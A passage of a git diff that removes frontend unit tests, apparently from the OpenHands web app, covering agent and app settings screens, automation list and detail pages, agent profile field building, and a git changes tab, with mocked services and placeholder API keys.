user.click( - await screen.findByRole("option", { name: "SETTINGS$AGENT_TYPE_ACP" }), - ); - await user.type( - await screen.findByTestId("settings-acp-secret-ANTHROPIC_API_KEY"), - "sk-ant-xyz", - ); - - await user.click(screen.getByTestId("agent-save-button")); - - // One click persists both: the credential as a secret AND the agent spec. - await waitFor(() => { - expect(createSecret).toHaveBeenCalledWith( - "ANTHROPIC_API_KEY", - "sk-ant-xyz", - undefined, - ); - expect(saveSettings).toHaveBeenCalledTimes(1); - }); - const diff = ( - saveSettings.mock.calls[0]?.[0] as { - agent_settings_diff?: Record; - } - ).agent_settings_diff; - expect(diff?.agent_kind).toBe("acp"); - expect(diff?.acp_server).toBe("claude-code"); - - // One click → one confirmation, even though it persisted both the spec and - // the credential (the credential save is silenced so it doesn't double up). - expect(toastMocks.success).toHaveBeenCalledTimes(1); - }); - - it("a credentials-only change saves the secret without re-writing settings", async () => { - const user = userEvent.setup(); - // Already on ACP, so loading introduces no settings change. - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettings({ - agent_settings: { - schema_version: 1, - agent_kind: "acp", - acp_server: "claude-code", - acp_command: [], - }, - }), - ); - const saveSettings = vi.spyOn(SettingsService, "saveSettings"); - const createSecret = vi.spyOn(SecretsService, "createSecret"); - - renderAgentSettingsScreen(); - await screen.findByTestId("agent-settings-screen"); - - await user.type( - await screen.findByTestId("settings-acp-secret-ANTHROPIC_API_KEY"), - "sk-ant-only", - ); - await user.click(screen.getByTestId("agent-save-button")); - - await waitFor(() => { - expect(createSecret).toHaveBeenCalledWith( - "ANTHROPIC_API_KEY", - "sk-ant-only", - undefined, - ); - }); - // No spec change → no settings write (and no double toast). - expect(saveSettings).not.toHaveBeenCalled(); - }); - - it("shows the 'already signed in' banner in the credentials section when authenticated", async () => { - acpAuthStatusMock.mockReturnValue({ - status: "authenticated", - isChecking: false, - isSupported: true, - }); - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettings({ - agent_settings: { - schema_version: 1, - agent_kind: "acp", - acp_server: "claude-code", - acp_command: [], - }, - }), - ); - - renderAgentSettingsScreen(); - await screen.findByTestId("agent-settings-screen"); - - expect( - await screen.findByTestId("settings-acp-auth-detected"), - ).toBeInTheDocument(); - }); -}); diff --git a/__tests__/routes/app-settings.test.tsx b/__tests__/routes/app-settings.test.tsx deleted file mode 100644 index b698a6a98..000000000 --- a/__tests__/routes/app-settings.test.tsx +++ /dev/null @@ -1,144 +0,0 @@ -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { render, screen, waitFor } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { beforeEach, describe, expect, it, vi } from "vitest"; -import AppSettingsScreen from "#/routes/app-settings"; -import SettingsService from "#/api/settings-service/settings-service.api"; -import { MOCK_DEFAULT_USER_SETTINGS } from "#/mocks/handlers"; -import { Settings } from "#/types/settings"; -import ProfilesService from "#/api/profiles-service/profiles-service.api"; - -function buildSettings(overrides: Partial = {}): Settings { - return { - ...MOCK_DEFAULT_USER_SETTINGS, - ...overrides, - agent_settings: { - ...MOCK_DEFAULT_USER_SETTINGS.agent_settings, - ...overrides.agent_settings, - }, - conversation_settings: { - ...MOCK_DEFAULT_USER_SETTINGS.conversation_settings, - ...overrides.conversation_settings, - }, - }; -} - -function renderAppSettingsScreen() { - return render(, { - wrapper: ({ children }) => ( - - {children} - - ), - }); -} - -describe("AppSettingsScreen", () => { - beforeEach(() => { - vi.restoreAllMocks(); - }); - - it("renders the OSS application settings form", async () => { - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettings({ - git_user_name: "octocat", - git_user_email: "octocat@example.com", - }), - ); - - renderAppSettingsScreen(); - - const analyticsSwitch = await screen.findByTestId( - "enable-analytics-switch", - ); - - expect(analyticsSwitch).toBeInTheDocument(); - expect(screen.getByTestId("git-user-name-input")).toHaveValue("octocat"); - expect(screen.getByTestId("git-user-email-input")).toHaveValue( - "octocat@example.com", - ); - expect( - screen.getByText("SETTINGS$CONVERSATION_TITLES"), - ).toBeInTheDocument(); - expect( - screen.getByRole("combobox", { - name: "SETTINGS$TITLE_GENERATION_MODEL", - }), - ).toHaveValue("SETTINGS$TITLE_GENERATION_AUTOMATIC"); - }); - - it("saves updated git author details in OSS mode", async () => { - const saveSettingsSpy = vi - .spyOn(SettingsService, "saveSettings") - .mockResolvedValue(true); - - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettings({ - git_user_name: "octocat", - git_user_email: "octocat@example.com", - }), - ); - - renderAppSettingsScreen(); - - const user = userEvent.setup(); - const nameInput = await screen.findByTestId("git-user-name-input"); - - await user.clear(nameInput); - await user.type(nameInput, "monalisa"); - await user.click(screen.getByTestId("submit-button")); - - await waitFor(() => { - expect(saveSettingsSpy).toHaveBeenCalledWith( - expect.objectContaining({ - git_user_name: "monalisa", - git_user_email: "octocat@example.com", - }), - ); - }); - }); - - it("saves a dedicated title generation profile", async () => { - vi.spyOn(ProfilesService, "listProfiles").mockResolvedValue({ - profiles: [ - { - name: "Titles", - model: "anthropic/claude-haiku-3-5", - base_url: null, - api_key_set: true, - }, - ], - active_profile: null, - }); - vi.spyOn(SettingsService, "getSettings").mockResolvedValue(buildSettings()); - const saveSettingsSpy = vi - .spyOn(SettingsService, "saveSettings") - .mockResolvedValue(true); - - renderAppSettingsScreen(); - - const user = userEvent.setup(); - const input = await screen.findByRole("combobox", { - name: "SETTINGS$TITLE_GENERATION_MODEL", - }); - await user.click(input); - await user.click( - await screen.findByText("SETTINGS$TITLE_GENERATION_PROFILE_OPTION"), - ); - await user.click(screen.getByTestId("submit-button")); - - await waitFor(() => { - expect(saveSettingsSpy).toHaveBeenCalledWith( - expect.objectContaining({ - title_llm_profile: "Titles", - }), - ); - }); - }); -}); diff --git a/__tests__/routes/automation-detail.test.tsx b/__tests__/routes/automation-detail.test.tsx deleted file mode 100644 index ecdf1e1da..000000000 --- a/__tests__/routes/automation-detail.test.tsx +++ /dev/null @@ -1,241 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import React from "react"; -import { fireEvent, render, screen, waitFor } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { MemoryRouter, Route, Routes } from "react-router"; -import { HttpError } from "@openhands/typescript-client"; - -import { I18nKey } from "#/i18n/declaration"; - -import AutomationService from "#/api/automation-service/automation-service.api"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import { ActiveBackendProvider } from "#/contexts/active-backend-context"; -import AutomationDetail from "#/routes/automation-detail"; -import type { Backend } from "#/api/backend-registry/types"; -import { AutomationRunStatus } from "#/types/automation"; -import type { Automation, AutomationRunsResponse } from "#/types/automation"; - -vi.mock("#/api/automation-service/automation-service.api", () => ({ - default: { - getAutomation: vi.fn(), - getAutomationRuns: vi.fn(), - toggleAutomation: vi.fn(), - deleteAutomation: vi.fn(), - dispatchAutomation: vi.fn(), - checkHealth: vi.fn(), - }, -})); - -const localBackend: Backend = { - id: "local-1", - name: "Local 1", - host: "http://localhost:8000", - apiKey: "session-key", - kind: "local", -}; - -const cloudBackend: Backend = { - id: "cloud-1", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-key", - kind: "cloud", -}; - -const automation: Automation = { - id: "auto-1", - name: "Test Automation", - prompt: "p", - trigger: { type: "schedule", schedule_human: "Daily" }, - enabled: true, - repository: "acme/repo", - model: "daily-profile", - created_at: "2026-01-01T00:00:00Z", - updated_at: "2026-01-01T00:00:00Z", -}; - -const emptyRuns: AutomationRunsResponse = { runs: [], total: 0 }; - -function renderDetail() { - const queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - return render( - - - - - } - /> - - - - , - ); -} - -beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - vi.mocked(AutomationService.checkHealth).mockReset(); - vi.mocked(AutomationService.checkHealth).mockResolvedValue({ status: "ok" }); - vi.mocked(AutomationService.dispatchAutomation).mockReset(); - vi.mocked(AutomationService.dispatchAutomation).mockResolvedValue({ - id: "run-1", - status: AutomationRunStatus.PENDING, - conversation_id: null, - bash_command_id: null, - error_detail: null, - started_at: "2026-01-02T00:00:00Z", - completed_at: null, - }); - - vi.mocked(AutomationService.getAutomation).mockReset(); - vi.mocked(AutomationService.getAutomation).mockResolvedValue(automation); - vi.mocked(AutomationService.getAutomationRuns).mockReset(); - vi.mocked(AutomationService.getAutomationRuns).mockResolvedValue(emptyRuns); - setRegisteredBackends([localBackend, cloudBackend]); - setActiveSelection({ backendId: localBackend.id }); -}); - -afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); -}); - -describe("AutomationDetail — Edit is local-only", () => { - it("shows Edit in the kebab menu when the active backend is local", async () => { - // Arrange — default beforeEach selects the local backend. - const user = userEvent.setup(); - renderDetail(); - await waitFor(() => { - expect(AutomationService.getAutomation).toHaveBeenCalledTimes(1); - }); - - // Act — open the kebab menu. The aria-label resolves to the I18n key - // in tests because `t` is mocked to return the key itself. - await user.click(screen.getByLabelText(I18nKey.AUTOMATIONS$ACTIONS_MENU)); - - // Assert — Edit entry is present alongside the other actions. - expect( - screen.getByRole("button", { name: I18nKey.AUTOMATIONS$EDIT }), - ).toBeInTheDocument(); - }); - - it("hides Edit in the kebab menu when the active backend is cloud", async () => { - // Arrange — switch to the cloud backend BEFORE rendering so the - // detail page mounts under cloud (the backend-change guard would - // otherwise stop the fetch). - setActiveSelection({ backendId: cloudBackend.id }); - const user = userEvent.setup(); - renderDetail(); - await waitFor(() => { - expect(AutomationService.getAutomation).toHaveBeenCalledTimes(1); - }); - - // Act - await user.click(screen.getByLabelText(I18nKey.AUTOMATIONS$ACTIONS_MENU)); - - // Assert — Edit must not appear on cloud; Delete still does, proving - // we opened the menu and didn't merely fail to render. - expect( - screen.queryByRole("button", { name: I18nKey.AUTOMATIONS$EDIT }), - ).not.toBeInTheDocument(); - expect( - screen.getByRole("button", { name: I18nKey.AUTOMATIONS$DELETE }), - ).toBeInTheDocument(); - }); -}); - -describe("AutomationDetail — not-found handling", () => { - it("renders the not-found state when the lookup rejects with an HttpError 404", async () => { - // Arrange — cloud transport 404s surface as the shared client's HttpError. - vi.mocked(AutomationService.getAutomation).mockRejectedValue( - new HttpError(404, "Not Found", { detail: "No such automation" }), - ); - - // Act - renderDetail(); - - // Assert — the 404 branch renders NotFoundState instead of the generic - // error state. - expect( - await screen.findByText(I18nKey.AUTOMATIONS$DETAIL$NOT_FOUND_TITLE), - ).toBeInTheDocument(); - }); -}); - -describe("AutomationDetail — backend-change guard", () => { - it("does not fetch the automation again when the active backend changes after mount", async () => { - // Arrange — the page mounts under the local backend; the id in the URL - // refers to a local-only automation. Wait for the initial fetch. - renderDetail(); - await waitFor(() => { - expect(AutomationService.getAutomation).toHaveBeenCalledTimes(1); - }); - expect(AutomationService.getAutomation).toHaveBeenLastCalledWith("auto-1"); - - // Act — flip the active backend to cloud while the detail page is - // still mounted (the BackendSelector's redirect lands on the next - // tick; the guard must prevent any fetch in this window). - setActiveSelection({ backendId: cloudBackend.id }); - - // Assert — no second fetch for the now-stale local id is made. - // Give react-query a chance to react to the key change before - // asserting. - await new Promise((resolve) => { - setTimeout(resolve, 50); - }); - expect(AutomationService.getAutomation).toHaveBeenCalledTimes(1); - }); - - it("shows the model field as the persisted model profile name", async () => { - renderDetail(); - - expect(await screen.findByText("daily-profile")).toBeInTheDocument(); - expect(screen.queryByText("Claude")).not.toBeInTheDocument(); - }); - - it("dispatches the automation when Run now is clicked", async () => { - renderDetail(); - - const runNow = await screen.findByRole("button", { - name: I18nKey.AUTOMATIONS$RUN_NOW, - }); - fireEvent.click(runNow); - - await waitFor(() => { - expect(AutomationService.dispatchAutomation).toHaveBeenCalledWith( - "auto-1", - ); - }); - expect(AutomationService.dispatchAutomation).toHaveBeenCalledTimes(1); - }); - - it("does not dispatch when Run now is clicked on a disabled automation", async () => { - // Arrange — the detail page loads a turned-off automation. - vi.mocked(AutomationService.getAutomation).mockResolvedValue({ - ...automation, - enabled: false, - }); - const user = userEvent.setup(); - renderDetail(); - const runNow = await screen.findByRole("button", { - name: I18nKey.AUTOMATIONS$RUN_NOW, - }); - - // Act — userEvent honors the disabled attribute and suppresses the click. - await user.click(runNow); - - // Assert — the off-state gate prevents the dispatch API from firing. - expect(runNow).toBeDisabled(); - expect(AutomationService.dispatchAutomation).not.toHaveBeenCalled(); - }); -}); diff --git a/__tests__/routes/automations-list.test.tsx b/__tests__/routes/automations-list.test.tsx deleted file mode 100644 index 90e9cc003..000000000 --- a/__tests__/routes/automations-list.test.tsx +++ /dev/null @@ -1,378 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import React from "react"; -import { render, screen, waitFor } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { MemoryRouter } from "react-router"; -import { HttpError } from "@openhands/typescript-client"; - -import { I18nKey } from "#/i18n/declaration"; - -import AutomationService from "#/api/automation-service/automation-service.api"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import { ActiveBackendProvider } from "#/contexts/active-backend-context"; -import AutomationsList from "#/routes/automations-list"; -import type { Backend } from "#/api/backend-registry/types"; -import { - AutomationRunStatus, - type Automation, - type AutomationsResponse, -} from "#/types/automation"; - -vi.mock("#/api/automation-service/automation-service.api", () => ({ - default: { - getAutomations: vi.fn(), - updateAutomation: vi.fn(), - toggleAutomation: vi.fn(), - deleteAutomation: vi.fn(), - dispatchAutomation: vi.fn(), - checkHealth: vi.fn(), - }, -})); - -vi.mock("#/utils/custom-toast-handlers", () => ({ - displaySuccessToast: vi.fn(), - displayErrorToast: vi.fn(), -})); - -const localBackend: Backend = { - id: "local-1", - name: "Local 1", - host: "http://localhost:8000", - apiKey: "session-key", - kind: "local", -}; - -const cloudBackend: Backend = { - id: "cloud-1", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-key", - kind: "cloud", -}; - -const automation: Automation = { - id: "auto-1", - name: "Daily digest", - prompt: "Summarize yesterday's PRs", - trigger: { type: "cron", schedule: "0 9 * * *", schedule_human: "Daily" }, - enabled: true, - repository: "acme/repo", - model: "daily-profile", - created_at: "2026-01-01T00:00:00Z", - updated_at: "2026-01-01T00:00:00Z", -}; - -const listResponse: AutomationsResponse = { - automations: [automation], - total: 1, -}; - -function renderList(queryClient?: QueryClient) { - const client = - queryClient ?? - new QueryClient({ - defaultOptions: { queries: { retry: false }, mutations: { retry: false } }, - }); - return render( - - - - - - - , - ); -} - -beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - vi.mocked(AutomationService.checkHealth).mockReset(); - vi.mocked(AutomationService.checkHealth).mockResolvedValue({ status: "ok" }); - vi.mocked(AutomationService.getAutomations).mockReset(); - vi.mocked(AutomationService.getAutomations).mockResolvedValue(listResponse); - vi.mocked(AutomationService.updateAutomation).mockReset(); - vi.mocked(AutomationService.dispatchAutomation).mockReset(); - setRegisteredBackends([localBackend, cloudBackend]); - setActiveSelection({ backendId: localBackend.id }); -}); - -afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); -}); - -describe("AutomationsList — Edit from the row kebab is local-only", () => { - it("opens the Edit modal pre-filled with the row's values when the active backend is local", async () => { - // Arrange — local backend is active (default beforeEach); render the list - // and wait for the row to appear. - const user = userEvent.setup(); - renderList(); - await waitFor(() => { - expect(AutomationService.getAutomations).toHaveBeenCalledTimes(1); - }); - await screen.findByText(automation.name); - - // Act — open the row kebab and pick Edit. The aria-label resolves to - // the I18n key in tests because `t` is mocked to return the key itself. - await user.click(screen.getByLabelText(I18nKey.AUTOMATIONS$ACTIONS_MENU)); - await user.click( - screen.getByRole("button", { name: I18nKey.AUTOMATIONS$EDIT }), - ); - - // Assert — the shared Edit modal mounts wired to this row (name input is - // pre-filled with that row's name, proving the list page passed the right - // automation through). - const nameInput = (await screen.findByTestId( - "edit-automation-name", - )) as HTMLInputElement; - expect(nameInput.value).toBe(automation.name); - }); - - it("hides Edit in the row kebab when the active backend is cloud", async () => { - // Arrange — switch to the cloud backend before mounting so the page sees - // it as the active backend on first render. - setActiveSelection({ backendId: cloudBackend.id }); - const user = userEvent.setup(); - renderList(); - await waitFor(() => { - expect(AutomationService.getAutomations).toHaveBeenCalledTimes(1); - }); - await screen.findByText(automation.name); - - // Act — open the row kebab. The aria-label resolves to the I18n key - // in tests because `t` is mocked to return the key itself. - await user.click(screen.getByLabelText(I18nKey.AUTOMATIONS$ACTIONS_MENU)); - - // Assert — Edit must not appear on cloud; Delete still does, proving the - // menu actually opened and we didn't merely fail to render it. - expect( - screen.queryByRole("button", { name: I18nKey.AUTOMATIONS$EDIT }), - ).not.toBeInTheDocument(); - expect( - screen.getByRole("button", { name: I18nKey.AUTOMATIONS$DELETE }), - ).toBeInTheDocument(); - }); -}); - -describe("AutomationsList — view mode toggle", () => { - it("switches saved automations from cards to table rows", async () => { - const user = userEvent.setup(); - renderList(); - await waitFor(() => { - expect(AutomationService.getAutomations).toHaveBeenCalledTimes(1); - }); - await screen.findByTestId("automation-card-auto-1"); - - await user.click(screen.getByTestId("automations-view-toggle")); - await user.click(screen.getByTestId("automations-view-toggle-list")); - - expect( - screen.queryByTestId("automation-card-auto-1"), - ).not.toBeInTheDocument(); - expect( - screen.getByTestId("automation-list-row-auto-1"), - ).toBeInTheDocument(); - expect(window.localStorage.getItem("openhands-automations-view")).toBe( - "list", - ); - }); - - it("disables the view-mode toggle when the user has no automations", async () => { - // Arrange — service returns an empty list, so the page lands on EmptyState. - vi.mocked(AutomationService.getAutomations).mockResolvedValue({ - automations: [], - total: 0, - }); - const user = userEvent.setup(); - renderList(); - await waitFor(() => { - expect(AutomationService.getAutomations).toHaveBeenCalledTimes(1); - }); - - // Act — try to open the toggle's grid/list menu. - const trigger = await screen.findByTestId("automations-view-toggle"); - await user.click(trigger); - - // Assert — toggle is disabled and clicking it does not reveal the menu. - expect(trigger).toBeDisabled(); - expect( - screen.queryByTestId("automations-view-toggle-list"), - ).not.toBeInTheDocument(); - }); -}); - -describe("AutomationsList — Run now toasts", () => { - beforeEach(async () => { - const { displaySuccessToast, displayErrorToast } = - await import("#/utils/custom-toast-handlers"); - vi.mocked(displaySuccessToast).mockClear(); - vi.mocked(displayErrorToast).mockClear(); - }); - - it("shows a success toast after the dispatch API resolves", async () => { - // Arrange — service resolves with a fresh run record. - vi.mocked(AutomationService.dispatchAutomation).mockResolvedValue({ - id: "run-1", - status: AutomationRunStatus.PENDING, - conversation_id: null, - bash_command_id: null, - error_detail: null, - started_at: "2026-01-02T00:00:00Z", - completed_at: null, - }); - const { displaySuccessToast, displayErrorToast } = - await import("#/utils/custom-toast-handlers"); - const user = userEvent.setup(); - renderList(); - await screen.findByText(automation.name); - - // Act — click the row's "Run now" button. - await user.click(screen.getByTestId(`automation-run-now-${automation.id}`)); - - // Assert — dispatch was called and success toast fired with the i18n key. - await waitFor(() => { - expect(AutomationService.dispatchAutomation).toHaveBeenCalledWith( - automation.id, - ); - }); - await waitFor(() => { - expect(displaySuccessToast).toHaveBeenCalledWith( - I18nKey.AUTOMATIONS$RUN_NOW_SUCCESS, - ); - }); - expect(displayErrorToast).not.toHaveBeenCalled(); - }); - - it("does not dispatch when Run now is clicked on a disabled automation (grid view)", async () => { - // Arrange — single automation that is turned off. - const disabledAutomation: Automation = { ...automation, enabled: false }; - vi.mocked(AutomationService.getAutomations).mockResolvedValue({ - automations: [disabledAutomation], - total: 1, - }); - const user = userEvent.setup(); - renderList(); - const button = await screen.findByTestId( - `automation-run-now-${disabledAutomation.id}`, - ); - - // Act — userEvent honors the disabled attribute, so the click is suppressed. - await user.click(button); - - // Assert — the off-state gate prevents the dispatch API from firing. - expect(button).toBeDisabled(); - expect(AutomationService.dispatchAutomation).not.toHaveBeenCalled(); - }); - - it("does not dispatch when Run now is clicked on a disabled automation (list view)", async () => { - // Arrange — pre-seed the stored view mode so the page mounts in list view, - // then return a single disabled automation. - window.localStorage.setItem("openhands-automations-view", "list"); - const disabledAutomation: Automation = { ...automation, enabled: false }; - vi.mocked(AutomationService.getAutomations).mockResolvedValue({ - automations: [disabledAutomation], - total: 1, - }); - const user = userEvent.setup(); - renderList(); - await screen.findByTestId( - `automation-list-row-${disabledAutomation.id}`, - ); - const button = screen.getByTestId( - `automation-run-now-${disabledAutomation.id}`, - ); - - // Act - await user.click(button); - - // Assert - expect(button).toBeDisabled(); - expect(AutomationService.dispatchAutomation).not.toHaveBeenCalled(); - }); - - it("shows an error toast when the dispatch API rejects", async () => { - // Arrange — service rejects with a plain Error so the fallback branch fires. - vi.mocked(AutomationService.dispatchAutomation).mockRejectedValue( - new Error("dispatch failed"), - ); - const { displaySuccessToast, displayErrorToast } = - await import("#/utils/custom-toast-handlers"); - const user = userEvent.setup(); - renderList(); - await screen.findByText(automation.name); - - // Act — click the row's "Run now" button. - await user.click(screen.getByTestId(`automation-run-now-${automation.id}`)); - - // Assert — error toast surfaces the rejection message; success toast never fires. - await waitFor(() => { - expect(displayErrorToast).toHaveBeenCalledWith("dispatch failed"); - }); - expect(displaySuccessToast).not.toHaveBeenCalled(); - }); - - it("shows the server-provided message when the dispatch API rejects with an HttpError", async () => { - // Arrange — cloud transport failures surface as the shared client's - // HttpError, whose parsed body lives on `response`. - vi.mocked(AutomationService.dispatchAutomation).mockRejectedValue( - new HttpError(500, "Internal Server Error", { - message: "Runner quota exceeded", - }), - ); - const { displayErrorToast } = await import("#/utils/custom-toast-handlers"); - const user = userEvent.setup(); - renderList(); - await screen.findByText(automation.name); - - // Act — click the row's "Run now" button. - await user.click(screen.getByTestId(`automation-run-now-${automation.id}`)); - - // Assert — the toast shows the body's message, not a generic fallback. - await waitFor(() => { - expect(displayErrorToast).toHaveBeenCalledWith("Runner quota exceeded"); - }); - }); -}); - -describe("AutomationsList — list freshness on remount", () => { - it("surfaces automations created since the last visit without a manual refresh", async () => { - // Arrange — share a QueryClient across two mounts to simulate the user - // navigating away from /automations and back. Between the two mounts an - // agent has created a new automation, so the service starts returning - // it on the next call. Previously, the cached list was treated as fresh - // for 5 minutes and the second mount would have re-rendered the stale - // list without refetching. - const newAutomation: Automation = { - ...automation, - id: "auto-2", - name: "Hello World", - }; - vi.mocked(AutomationService.getAutomations) - .mockReset() - .mockResolvedValueOnce(listResponse) - .mockResolvedValueOnce({ - automations: [automation, newAutomation], - total: 2, - }); - const queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false }, mutations: { retry: false } }, - }); - - // Act — first mount lands on the original list, then unmount and remount - // against the same QueryClient (the cache the bug used to serve stale). - const first = renderList(queryClient); - await screen.findByText(automation.name); - first.unmount(); - renderList(queryClient); - - // Assert — the remount refetched and surfaced the newly created - // automation, which is the user-observable behavior the bug blocked. - await screen.findByText(newAutomation.name); - }); -}); diff --git a/__tests__/routes/build-agent-profile-fields.test.ts b/__tests__/routes/build-agent-profile-fields.test.ts deleted file mode 100644 index 3d20ddee4..000000000 --- a/__tests__/routes/build-agent-profile-fields.test.ts +++ /dev/null @@ -1,142 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { buildAgentProfileFields } from "#/routes/agent-settings"; -import type { SettingsFieldSchema } from "#/types/settings"; - -const baseAcp = { - isAcp: true, - selectedPreset: "claude-code", - isDefaultProviderCommand: true, - commandTokens: ["npx", "-y", "@zed-industries/claude-code-acp"], - acpModel: "claude-opus-4-8", - subAgentsEnabled: false, - toolConcurrencyField: undefined, - toolConcurrency: "", -}; - -const concurrencyField: SettingsFieldSchema = { - key: "tool_concurrency_limit", - label: "Tool concurrency limit", - section: "agent", - section_label: "Agent", - value_type: "integer", - choices: [], - depends_on: [], - prominence: "minor", - secret: false, - required: false, -}; - -describe("buildAgentProfileFields — ACP", () => { - it("stores no explicit command for a built-in provider on its default command", () => { - const fields = buildAgentProfileFields(baseAcp); - expect(fields).toEqual({ - agent_kind: "acp", - acp_server: "claude-code", - acp_model: "claude-opus-4-8", - acp_command: null, - acp_args: null, - }); - }); - - it("stores the verbatim shell command when it diverges from the default", () => { - const fields = buildAgentProfileFields({ - ...baseAcp, - isDefaultProviderCommand: false, - commandTokens: ["npx", "-y", "@zed-industries/claude-code-acp@0.5.0"], - }); - expect(fields.agent_kind).toBe("acp"); - if (fields.agent_kind === "acp") { - expect(fields.acp_command).toBe( - "npx -y @zed-industries/claude-code-acp@0.5.0", - ); - } - }); - - it("stores the command for the custom preset even if it happens to match a default", () => { - const fields = buildAgentProfileFields({ - ...baseAcp, - selectedPreset: "custom", - // A custom preset is never treated as a built-in default. - isDefaultProviderCommand: true, - commandTokens: ["my-acp", "--flag"], - }); - if (fields.agent_kind === "acp") { - expect(fields.acp_server).toBe("custom"); - expect(fields.acp_command).toBe("my-acp --flag"); - } - }); - - it("normalizes a blank model to null", () => { - const fields = buildAgentProfileFields({ ...baseAcp, acpModel: " " }); - if (fields.agent_kind === "acp") { - expect(fields.acp_model).toBeNull(); - } - }); -}); - -describe("buildAgentProfileFields — OpenHands", () => { - const baseOh = { - isAcp: false, - selectedPreset: "custom", - isDefaultProviderCommand: false, - commandTokens: [], - acpModel: "", - subAgentsEnabled: true, - toolConcurrencyField: undefined, - toolConcurrency: "", - }; - - it("passes through enable_sub_agents and omits concurrency when the field is absent", () => { - expect(buildAgentProfileFields(baseOh)).toEqual({ - agent_kind: "openhands", - enable_sub_agents: true, - }); - }); - - it("coerces a valid tool_concurrency_limit to a number", () => { - const fields = buildAgentProfileFields({ - ...baseOh, - toolConcurrencyField: concurrencyField, - toolConcurrency: "3", - }); - if (fields.agent_kind === "openhands") { - expect(fields.tool_concurrency_limit).toBe(3); - } - }); - - it("falls back to the schema default (1) when the input is empty, so a clear actually clears (#1571 review)", () => { - // A blank field coerces to `null`; the field itself is a non-nullable - // backend int, so an explicit default — not an omitted key — is what - // actually resets a stored value on an edit-save (the whole-profile merge - // would otherwise silently keep the old value for an omitted key). - const fields = buildAgentProfileFields({ - ...baseOh, - toolConcurrencyField: concurrencyField, - toolConcurrency: "", - }); - if (fields.agent_kind === "openhands") { - expect(fields.tool_concurrency_limit).toBe(1); - } - }); - - it("falls back to the schema's own default value when the field declares one", () => { - const fields = buildAgentProfileFields({ - ...baseOh, - toolConcurrencyField: { ...concurrencyField, default: 2 }, - toolConcurrency: "", - }); - if (fields.agent_kind === "openhands") { - expect(fields.tool_concurrency_limit).toBe(2); - } - }); - - it("throws on a non-numeric concurrency value (schema-driven validation)", () => { - expect(() => - buildAgentProfileFields({ - ...baseOh, - toolConcurrencyField: concurrencyField, - toolConcurrency: "abc", - }), - ).toThrow(); - }); -}); diff --git a/__tests__/routes/changes-tab.test.tsx b/__tests__/routes/changes-tab.test.tsx deleted file mode 100644 index 1891ab761..000000000 --- a/__tests__/routes/changes-tab.test.tsx +++ /dev/null @@ -1,132 +0,0 @@ -import { render, screen } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { describe, expect, it, vi } from "vitest"; -import { MemoryRouter } from "react-router"; -import { AxiosError } from "axios"; -import GitChanges from "#/routes/changes-tab"; -import { useUnifiedGetGitChanges } from "#/hooks/query/use-unified-get-git-changes"; -import { useAgentState } from "#/hooks/use-agent-state"; -import { AgentState } from "#/types/agent-state"; - -vi.mock("react-i18next", () => ({ - useTranslation: () => ({ - t: (key: string) => key, - }), -})); - -vi.mock("#/hooks/query/use-unified-get-git-changes"); -vi.mock("#/hooks/use-agent-state"); -vi.mock("#/hooks/use-conversation-id", () => ({ - useConversationId: () => ({ conversationId: "test-id" }), - useOptionalConversationId: () => ({ conversationId: "test-id" }), -})); - -const wrapper = ({ children }: { children: React.ReactNode }) => ( - - - {children} - - -); - -describe("Changes Tab", () => { - it("should show EmptyChangesMessage when there are no changes", () => { - vi.mocked(useUnifiedGetGitChanges).mockReturnValue({ - data: [], - isLoading: false, - isFetching: false, - isSuccess: true, - isError: false, - error: null, - refetch: vi.fn(), - }); - vi.mocked(useAgentState).mockReturnValue({ - curAgentState: AgentState.RUNNING, - }); - - render(, { wrapper }); - - expect(screen.getByText("DIFF_VIEWER$NO_CHANGES")).toBeInTheDocument(); - }); - - it("should not show EmptyChangesMessage when there are changes", () => { - vi.mocked(useUnifiedGetGitChanges).mockReturnValue({ - data: [{ path: "src/file.ts", status: "M" }], - isLoading: false, - isFetching: false, - isSuccess: true, - isError: false, - error: null, - refetch: vi.fn(), - }); - vi.mocked(useAgentState).mockReturnValue({ - curAgentState: AgentState.RUNNING, - }); - - render(, { wrapper }); - - expect( - screen.queryByText("DIFF_VIEWER$NO_CHANGES"), - ).not.toBeInTheDocument(); - }); - - it("should render the Protip alongside the empty state when there are no changes", () => { - vi.mocked(useUnifiedGetGitChanges).mockReturnValue({ - data: [], - isLoading: false, - isFetching: false, - isSuccess: true, - isError: false, - error: null, - refetch: vi.fn(), - }); - vi.mocked(useAgentState).mockReturnValue({ - curAgentState: AgentState.RUNNING, - }); - - render(, { wrapper }); - - expect(screen.getByText("TIPS$PROTIP")).toBeInTheDocument(); - }); - - it("should hide the Protip when the git changes request errors", () => { - vi.mocked(useUnifiedGetGitChanges).mockReturnValue({ - data: [], - isLoading: false, - isFetching: false, - isSuccess: false, - isError: true, - error: new AxiosError("fatal: not a git repository"), - refetch: vi.fn(), - }); - vi.mocked(useAgentState).mockReturnValue({ - curAgentState: AgentState.RUNNING, - }); - - render(, { wrapper }); - - expect(screen.queryByText("TIPS$PROTIP")).not.toBeInTheDocument(); - expect( - 